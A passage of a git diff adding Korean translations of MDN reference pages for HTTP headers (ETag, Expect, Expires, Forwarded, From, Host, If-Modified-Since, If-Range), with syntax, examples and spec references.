+<p>만약 특정 URL 의 리소스가 변경된다면, 새로운 ETag 가 생성됩니다. ETag 는 지문과 같은 역할을 하면서 다른 서버들이 추적하는 용도에 이용되기도 합니다. ETag 를 비교하여 리소스가 서로 같은지의 여부를 빠르게 판단할 수 있지만, 서버에서 무기한으로 지속될 수 있도록 설정할 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">ETag: W/"&lt;etag_value&gt;"
+ETag: "&lt;etag_value&gt;"
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (대/소문자를 구분합니다.) <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">weak validator</a> 가 사용되었음을 나타냅니다. Weak validators 는 만들기는 쉽지만 비교하기에는 효율성이 떨어집니다. Strong validators 는 비교하기에는 이상적이지만 효율적으로 만들기가 어렵습니다. 동일한 자원의 두 가지 Weak <code>Etag</code> 값은 동일할 수 있지만, 바이트 단위까지 동일하진 않습니다.</dd>
+ <dt>"&lt;etag_value&gt;"</dt>
+ <dd>Entity tags 는 요청된 값을 ASCII 코드와 같이 고유한 형태로 나타냅니다. (예 : <code>"675af34563dc-tr34"</code>)<br>
+ <code>ETag</code> 의 값을 생성하는 방법(Method)은 단순히 한가지로 정해져있진 않습니다. 때때로, 콘텐츠의 해시, 마지막으로 수정된 타임스탬프의 해시,  혹은 그냥 개정번호를 이용합니다. 예를들어, MDN 는 wiki(콘텐츠)의 16진수 해시를 사용합니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Avoiding_mid-air_collisions">Avoiding mid-air collisions</h3>
+
+<p>With the help of the <code>ETag</code> and the {{HTTPHeader("If-Match")}} headers, you are able to detect mid-air edit collisions.</p>
+
+<p>For example when editing MDN, the current wiki content is hashed and put into an <code>Etag</code> in the response:</p>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4</pre>
+
+<p>When saving changes to a wiki page (posting data), the {{HTTPMethod("POST")}} request will contain the {{HTTPHeader("If-Match")}} header containing the <code>ETag</code> values to check freshness against.</p>
+
+<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>If the hashes don't match, it means that the document has been edited in-between and a {{HTTPStatus("412")}}<code> Precondition Failed</code> error is thrown.</p>
+
+<h3 id="Caching_of_unchanged_resources">Caching of unchanged resources</h3>
+
+<p>Another typical use case of the <code>ETag</code> header is to cache resources that are unchanged. If a user visits a given URL again (that has an <code>ETag</code> set), and it is <em>stale</em>, that is too old to be considered usable, the client will send the value of its <code>ETag</code> along in an {{HTTPHeader("If-None-Match")}} header field:</p>
+
+<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>The server compares the client's <code>ETag</code> (sent with <code>If-None-Match</code>) with the <code>ETag</code> for its current version of the resource and if both values match (that is, the resource has not changed), the server send back a {{HTTPStatus("304")}}<code> Not Modified</code> status, without any body, which tells the client that the cached version of the response is still good to use (<em>fresh</em>).</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "ETag", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/etag")}}</p>
+
+<h2 id="참고_2">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+  <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/expect/index.html b/files/ko/web/http/headers/expect/index.html
new file mode 100644
index 0000000000..a984fcd776
--- /dev/null
+++ b/files/ko/web/http/headers/expect/index.html
@@ -0,0 +1,90 @@
+---
+title: Expect
+slug: Web/HTTP/Headers/Expect
+translation_of: Web/HTTP/Headers/Expect
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Expect</code></strong> HTTP 요청 헤더는 요청을 적절하게 처리하기 위해 서버가 반환할 기대값을 나타냅니다.</p>
+
+<p>명세에 정의된 유일한 기대값인 <code>Expect: 100-continue</code>에 대해, 서버는 다음과 같이 응답합니다:</p>
+
+<p> </p>
+
+<ul>
+ <li>{{HTTPStatus("100")}} 헤더에 포함된 정보가, 즉시 성공으로 응답하기 충분할 때</li>
+ <li>{{HTTPStatus("417")}} (Expectation Failed) 기대값을 충족하지 못했거나; 어쨌든 4xx 상태일 때</li>
+</ul>
+
+<p> </p>
+
+<p>예를들어, 요청의 {{HTTPHeader("Content-Length")}} 값이 너무 크다면 서버는 이를 거절할 수도 있습니다.</p>
+
+<p>일반적인 브라우저는 <code>Expect</code> 헤더를 전송하지 않지만, cURL과 같은 몇가지 클라이언트들은 전송하는 것이 기본값입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>현재는 "100-continue" 를 제외하고 어떤 기대값도 정의되어있지 않습니다.</p>
+
+<pre class="syntaxbox">Expect: 100-continue
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>100-continue</dt>
+ <dd>Informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a {{HTTPStatus("100")}} (Continue) interim response.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Large_message_body">Large message body</h3>
+
+<p>클라이언트는 <code>Expect</code> 헤더가 포함된 요청을 전송하고 메시지 바디를 전송하기 이전에 서버의 응답을 기다립니다.</p>
+
+<pre>PUT /somewhere/fun HTTP/1.1
+Host: origin.example.com
+Content-Type: video/h264
+Content-Length: 1234567890987
+Expect: 100-continue</pre>
+
+<p>이제 서버는 요청 헤더를 확인하고 {HTTPStatus("100")}} (Continue) 상태를 응답하여 클라이언트가 계속해서 메시지 바디를 전송하도록 안내하거나, {{HTTPStatus("417")}} (Expectation Failed) 상태를 응답하여 어떠한 기대값도 충족되지 않도록 합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Expect", "5.1.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>No common browsers are known to send this header.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li>
+ <li>{{HTTPStatus("100")}}<code> Continue</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/expires/index.html b/files/ko/web/http/headers/expires/index.html
new file mode 100644
index 0000000000..35042ff710
--- /dev/null
+++ b/files/ko/web/http/headers/expires/index.html
@@ -0,0 +1,75 @@
+---
+title: Expires
+slug: Web/HTTP/Headers/Expires
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Expires</strong></code> 헤더는 응답이 더 이상 신선하지 않다고 판단할 날짜/시간을 포함합니다.</p>
+
+<p>0과 같은, 유효하지 않은 날짜는 과거의 시간을 나타내어 리소스가 이미 만료되었음을 의미합니다.</p>
+
+<p>응답 내에 "max-age" 혹은 "s-max-age" 디렉티브를 지닌 {{HTTPHeader("Cache-Control")}} 헤더가 존재할 경우, <code>Expires</code> 헤더는 무시됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>HTTP-date timestamp.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Expires", "5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/forwarded/index.html b/files/ko/web/http/headers/forwarded/index.html
new file mode 100644
index 0000000000..5355bf1c0e
--- /dev/null
+++ b/files/ko/web/http/headers/forwarded/index.html
@@ -0,0 +1,110 @@
+---
+title: Forwarded
+slug: Web/HTTP/Headers/Forwarded
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 요청 헤더
+  - 참고자료
+  - 헤더
+translation_of: Web/HTTP/Headers/Forwarded
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Forwarded</strong></code> 헤더는 클라이언트에서 접하고 있는 프록시 서버들이 요청에 대한 연결에 연관되어 있는 상황에서 해당 연결이 변경되거나 잃어버리게 되었을 때, 해당되는 정보를 가지고 있습니다.</p>
+
+<p>이 헤더를 대체하는 실질적인 표준 버전은 {{HTTPHeader("X-Forwarded-For")}}, {{HTTPHeader("X-Forwarded-Host")}}, 그리고 {{HTTPHeader("X-Forwarded-Proto")}} 입니다.</p>
+
+<p>이 헤더는 디버깅, 통계, 그리고 위치 기반 컨텐츠에서 사용되며 클라이언트의 IP 주소와 같은 민감한 개인 정보를 노출하도록 디자인 되었습니다. 따라서 이 헤더를 사용할 경우에는 사용자의 정보를 노출시키지 않도록 반드시 주의해야합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Forwarded: by=&lt;identifier&gt;; for=&lt;identifier&gt;; host=&lt;host&gt;; proto=&lt;http|https&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;identifier&gt;</dt>
+ <dd>식별자는 프록시를 사용할 때, 대체되거나 잃어버린 정보를 밝힙니다. 이것은 다음과 같을 수 있습니다:
+ <ul>
+  <li>IP 주소(v4 또는 v6, 추가로 포트, 그리고 IPv6는 따옴표와 대괄호로 쌓여있습니다),</li>
+  <li>애매한 식별자(예를 들면, "_hidden" 또는 "_secret"),</li>
+  <li>또는 알 수 없는 개체를 진행하고자 했을 때 (그리고 당신이 계속 만들어진 요청이 전달되기를 원한다고 알려줄 때) "unknown"  or "unknown".</li>
+ </ul>
+ </dd>
+ <dt>by=&lt;identifier&gt;</dt>
+ <dd>요청이 프록시 서버에 들어왔을 때의 인터페이스.</dd>
+ <dt>for=&lt;identifier&gt;</dt>
+ <dd>요청을 시작한 클라이언트와 프록시 체인에서 뒤이은 프록시.</dd>
+ <dt>host=&lt;host&gt;</dt>
+ <dd>{{HTTPHeader("Host")}} 요청 헤더 영역은 프록시에게서 받는다.</dd>
+ <dt>proto=&lt;http|https&gt;</dt>
+ <dd>
+ <p>요청을 만들기 위해서 어떠한 프로토콜(보통 "http" 또는 "https")이 사용되었는지 알려준다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Forwarded_헤더_사용"><code>Forwarded</code> 헤더 사용</h3>
+
+<pre>Forwarded: for="_mdn"
+
+# case insensitive
+Forwarded: For="[2001:db8:cafe::17]:4711"
+
+# separated by semicolon
+Forwarded: for=192.0.2.60; proto=http; by=203.0.113.43
+
+# multiple values can be appended using a comma
+Forwarded: for=192.0.2.43, for=198.51.100.17
+</pre>
+
+<h3 id="X-Forwarded-For_에서_Forwarded_로의_전환"><code>X-Forwarded-For</code> 에서 <code>Forwarded</code> 로의 전환</h3>
+
+<p>만약 어플리케이션(서버 또는 프록시)이 표준화된 <code>Forwared</code> 헤더를 지원한다면, {{HTTPHeader("X-Forwarded-For")}} 헤더는 대체될 수 있습니다. IPv6 주소는 <code>Forwarded</code>에서 따옴표와 대괄호로 감싸질 수 있다는 것을 알아두세요.</p>
+
+<pre>X-Forwarded-For: 123.34.567.89
+Forwarded: for=123.34.567.89
+
+X-Forwarded-For: 192.0.2.43, 2001:db8:cafe::17
+Forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]"
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7239", "Forwarded", "4")}}</td>
+   <td>Forwarded HTTP Extension</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}} – provides information about the proxy itself, not about the client connecting to it.</li>
+</ul>
diff --git a/files/ko/web/http/headers/from/index.html b/files/ko/web/http/headers/from/index.html
new file mode 100644
index 0000000000..cdf796ed4b
--- /dev/null
+++ b/files/ko/web/http/headers/from/index.html
@@ -0,0 +1,70 @@
+---
+title: From
+slug: Web/HTTP/Headers/From
+translation_of: Web/HTTP/Headers/From
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>From</strong></code> 요청 헤더는 요청한 사용자 에이전트를 제어하는 인간 사용자의 인터넷 이메일을 포함합니다.</p>
+
+<p>만약 당신이 (예를 들어 크롤러와 같은) 로보틱 사용자 에이전트를 실행하고 있다면,  <code>From</code> 헤더를 반드시 전송해야 하며, 로봇이 한도를 초과하거나 원하지 않으며, 유효하지 않은 요청을 전송하고 있는 경우처럼 서버 상에 문제를 일으키고 있다면 당신에게 해당 이메일로 연락이 가능해야 합니다.</p>
+
+<div class="warning">
+<p>접근 제어 혹은 인증을 위해 <code>From</code> 헤더를 사용해서는 안됩니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">From: &lt;email&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;email&gt;</dt>
+ <dd>기계가 사용 가능한 이메일 주소.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>From: webmaster@example.org</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "From", "5.5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/host/index.html b/files/ko/web/http/headers/host/index.html
new file mode 100644
index 0000000000..321ec35f49
--- /dev/null
+++ b/files/ko/web/http/headers/host/index.html
@@ -0,0 +1,70 @@
+---
+title: Host
+slug: Web/HTTP/Headers/Host
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Host</strong></code> 요청 헤더는 (가상 호스팅을 위해) 서버의 도메인명과 서버가 리스닝하는 (부가적인) TCP 포트를 특정합니다.</p>
+
+<p>포트가 주어지지 않으면, 요청된 서버의 기본 포트(예를 들어, HTTP URL은 "80")를 의미합니다.</p>
+
+<p><code>Host</code> 헤더의 필드는 모든 HTTP/1.1 요청 메시지 내에 포함되어 전송되어야 합니다. <code>Host</code> 헤더 필드가 없거나 한 개 이상의 필드를 포함하는 HTTP/1.1 요청 메시지에 대해서는 {{HTTPStatus("400")}} (Bad Request) 상태 코드가 전송될 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;port&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>(가상 호스팅에 대한) 서버의 도메인 이름.</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>서버가 리스닝하는 TCP 포트 번호.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/if-modified-since/index.html b/files/ko/web/http/headers/if-modified-since/index.html
new file mode 100644
index 0000000000..59f68cd2e8
--- /dev/null
+++ b/files/ko/web/http/headers/if-modified-since/index.html
@@ -0,0 +1,91 @@
+---
+title: If-Modified-Since
+slug: Web/HTTP/Headers/If-Modified-Since
+translation_of: Web/HTTP/Headers/If-Modified-Since
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>If-Modified-Since</code></strong> HTTP 요청 헤더는 조건부 요청으로 서버는 <span class="tlid-translation translation" lang="ko"><span title="">지정된 날짜 이후 수정 된 경우에 </span></span>{{HTTPStatus("200")}}  과 함께 요청된 리소스를 돌려 줍니다. 만약 수정되지 않는 리소스에 대한 요청시, 리소스 없이 {{HTTPStatus("304")}}  응답을 하게 됩니다.<span class="tlid-translation translation" lang="ko"><span title=""> 이전 요청의 {{HTTPHeader ( "Last-Modified")}} 응답 헤더는 마지막으로 수정 한 날짜를 포함합니다.</span></span><code>If-Modified-Since</code><span class="tlid-translation translation" lang="ko"><span title="">는 </span></span>{{HTTPHeader("If-Unmodified-Since")}} 와는 다르게 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 에서만 쓸수 있습니다.</p>
+
+<p><span class="tlid-translation translation" lang="ko"><span title="">서버가 </span></span><code>If-None-Match</code><span class="tlid-translation translation" lang="ko"><span title="">를 지원하지 않는 한</span></span> {{HTTPHeader("If-None-Match")}} 를 함께 사용시 무시 됩니다.</p>
+
+<p>가장 일반적인 사용예로, {{HTTPHeader("ETag")}} 가 없는 캐시된 엔티티로 업데이트 합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">If-Modified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59.</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 digit second number, e.g. "04" or "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 현지 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.If-Modified-Since")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/if-range/index.html b/files/ko/web/http/headers/if-range/index.html
new file mode 100644
index 0000000000..12410e90bd
--- /dev/null
+++ b/files/ko/web/http/headers/if-range/index.html
@@ -0,0 +1,104 @@
+---
+title: If-Range
+slug: Web/HTTP/Headers/If-Range
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 범위 요청
+  - 요청 헤더
+  - 조건 요청
+  - 참고자료
+translation_of: Web/HTTP/Headers/If-Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>If-Range</code></strong> HTTP 요청 헤더는 범위 요청을 조건적으로 만듭니다: 만약 조건이 만족된다면, 범위 요청은 처리되어 서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 응답을 적절한 바디를 포함하여 보낼 것입니다. 만약 조건을 만족하지 못한다면, {{HTTPStatus("200")}} <code>OK</code> 상태 코드가 전체 리소스와 함께 돌아올 것입니다.</p>
+
+<p>이 헤더는 {{HTTPHeader("Last-Modified")}} 유효 검사자, 또는 {{HTTPHeader("ETag")}}와도 함께 사용될 수 있지만, 동시에는 사용할 수 없습니다.</p>
+
+<p>가장 많은 사용 예로 다운로드를 재개할 때, 저장된 리소스가 마지막 조각을 다운받은 후 수정되었는지 확인하기 위하여 사용합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">If-Range: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+If-Range: &lt;etag&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;etag&gt;</dt>
+ <dd>개체 태그는 요청한 리소스가 유일한 것을 표현합니다. 이는 ASCII 문자열로 쌍따옴표(<code>"675af34563dc-tr34"</code>처럼)로 묶여있으며, 접두사로 <code>W/</code>가 있어 약한 비교 알고리즘을 사용되어야 하는 것을 알려줄 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중에 하나(대소문자 구별) .</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구별).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59.</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 지역 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술 사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "If-Range", "3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.If-Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("206")}}<code> Partial Content</code></li>
+ <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP Conditional Requests</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/index.html b/files/ko/web/http/headers/index.html
new file mode 100644
index 0000000000..56460bc685
--- /dev/null
